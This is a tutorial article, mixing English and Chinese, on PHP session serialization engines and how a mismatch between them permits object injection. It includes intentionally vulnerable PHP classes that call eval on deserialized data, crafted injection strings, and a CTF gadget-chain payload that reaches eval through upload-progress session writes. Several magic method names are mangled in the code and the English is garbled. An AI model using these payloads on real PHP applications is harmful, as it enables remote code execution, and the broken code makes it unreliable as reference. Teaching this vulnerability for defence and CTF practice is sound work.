Home  >  Article  >  Backend Development  >  Detailed explanation of PHP's SESSION deserialization usage

Detailed explanation of PHP's SESSION deserialization usage

php中世界最好的语言
php中世界最好的语言Original
2018-04-11 13:19:521686browse

This time I will bring you a detailed explanation of the use of PHP's SESSION deserialization. What are the precautions for using PHP's SESSION deserialization? . Here are actual cases, let's take a look.

There are three configuration items in php.ini:

session.save_path="" --Set the session storage path

session.save_handler=" " --Set a user-defined storage function. If you want to use something other than PHP's built-in session storage mechanism, you can use this function (database, etc.)
session.auto_start boolen --Specify whether the session module starts a session at the beginning of the request Session, the default is 0 and does not start
session.serialize_handler string --Define the name of the processor used for serialization/deserialization. The options above using php
by default are options related to Session storage and sequence storage in PHP.
In the installation using the xampp component, the above configuration items are set as follows:

session.save_path="D:\xampp\tmp" indicates that all session files are stored under xampp/tmp

session.save_handler=files Indicates that the session is stored in the form of files
session.auto_start=0 Indicates that the session is not started by default
session.serialize_handler=php Indicates that the default serialization engine of the session uses php Serialize engine
In the above configuration, session.serialize_handler is used to set the sequence engine of the session. In addition to the default PHP engine, there are other engines. The storage methods of sessions corresponding to different engines are different. same.

php_binary: The storage method is that the ASCII character key name corresponding to the length of the key name is the value serialized by the serialize() function

php: The storage method is that the vertical bar of the key name is passed through the serialize() function Serialized value
php_serialize(php>5.5.4): The storage method is that the value serialized by the serialize() function
The PHP engine is used by default in PHP. If you want to modify it to another engine , just add the code ini_set('session.serialize_handler', 'The engine that needs to be set');. The sample code is as follows:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
// do something

Storage mechanism


The content in the session in php is not stored in the memory, but is stored in the form of files. The storage method is Determined by the configuration item session.save_handler, the default is to store it in a file.

The stored file is named after sess_sessionid, and the content of the file is the content after the sequence of the session value.
Assuming that our environment is xampp, the default configuration is as above.
Under the default configuration:

<?php
session_start()
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

The final session is stored and displayed as follows:


You can see that the value of PHPSESSID is jo86ud4jfvu81mbg28sl2s56c2, which is stored under xampp/tmp The file name is sess_jo86ud4jfvu81mbg28sl2s56c2, and the content of the file is name|s:6:"spoock";. name is the key value, s:6:"spoock"; is the result of serialize("spoock").

Under the php_serialize engine:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

The content of the SESSION file is a:1:{s:4:"name";s:6:"spoock"; }. a:1 will be added if php_serialize is used for serialization. At the same time, using php_serialize will serialize both the key and value in the session.


Under the php_binary engine:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_binary&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

The content of the SESSION file is names:6:"spoock";. Since the length of name is 4, 4 corresponds to EOT in the ASCII table. According to the storage rules of php_binary, the last one is names:6:"spoock";. (Suddenly I found that characters with an ASCII value of 4 cannot be displayed on the web page. Please check the ASCII table yourself)


Simple use of serialization

test.php

<?php
class syclover{
        var $func="";
        function construct() {
            $this->func = "phpinfo()";
        }
        function wakeup(){
            eval($this->func);
        }
}
unserialize($_GET[&#39;a&#39;]);
?>

serializes the incoming parameters on line 11. We can pass in a specific string, deserialize it into an example of syclover, and then execute the eval() method. We visit localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}. Then the content obtained by deserialization is:

object(syclover)[1]
  public &#39;func&#39; => string &#39;echo "spoock";&#39; (length=14)

The last page output is spoock, indicating that the echo "spoock"; method we defined was finally executed.

This is a demonstration of a simple serialization vulnerability

Serialization hazards in PHP Session

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION[&#39;ryat&#39;] = &#39;|O:11:"PeopleClass":0:{}&#39;;

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是

a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  &#39;a:1:{s:6:"spoock";s:24:"&#39; => 
    object(PHP_Incomplete_Class)[1]
      public &#39;PHP_Incomplete_Class_Name&#39; => string &#39;PeopleClass&#39; (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、
s1.php,使用php_serialize来处理session

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
session_start();
class lemon {
    var $hi;
    function construct(){
        $this->hi = &#39;phpinfo();&#39;;
    }
    
    function destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php
<?php
highlight_string(file_get_contents(basename($_SERVER[&#39;PHP_SELF&#39;])));//show_source(FILE);
class foo1{        public $varr;        function construct(){                $this->varr = "index.php";        }        function destruct(){                if(file_exists($this->varr)){                        echo "<br>文件".$this->varr."存在<br>";                }                echo "<br>这是foo1的析构函数<br>";        }}
class foo2{        public $varr;        public $obj;        function construct(){                $this->varr = &#39;1234567890&#39;;                $this->obj = null;        }        function toString(){                $this->obj->execute();                return $this->varr;        }        function desctuct(){                echo "<br>这是foo2的析构函数<br>";        }}
class foo3{        public $varr;        function execute(){                eval($this->varr);        }        function desctuct(){                echo "<br>这是foo3的析构函数<br>";        }}
?>index.php
<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:
myindex.php

<?phpclass foo3{        public $varr=&#39;echo "spoock";&#39;;        function execute(){                eval($this->varr);        }}class foo2{        public $varr;        public $obj;        function construct(){                $this->varr = &#39;1234567890&#39;;                $this->obj = new foo3();        }        function toString(){                $this->obj->execute();                return $this->varr;        }}
class foo1{        public $varr;        function construct(){                $this->varr = new foo2();        }}
$obj = new foo1();print_r(serialize($obj));?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。
但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!

推荐阅读:

PHP怎么移除数组中的空值或者空元素

php实现一个日志功能

The above is the detailed content of Detailed explanation of PHP's SESSION deserialization usage. For more information, please follow other related articles on the PHP Chinese website!

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn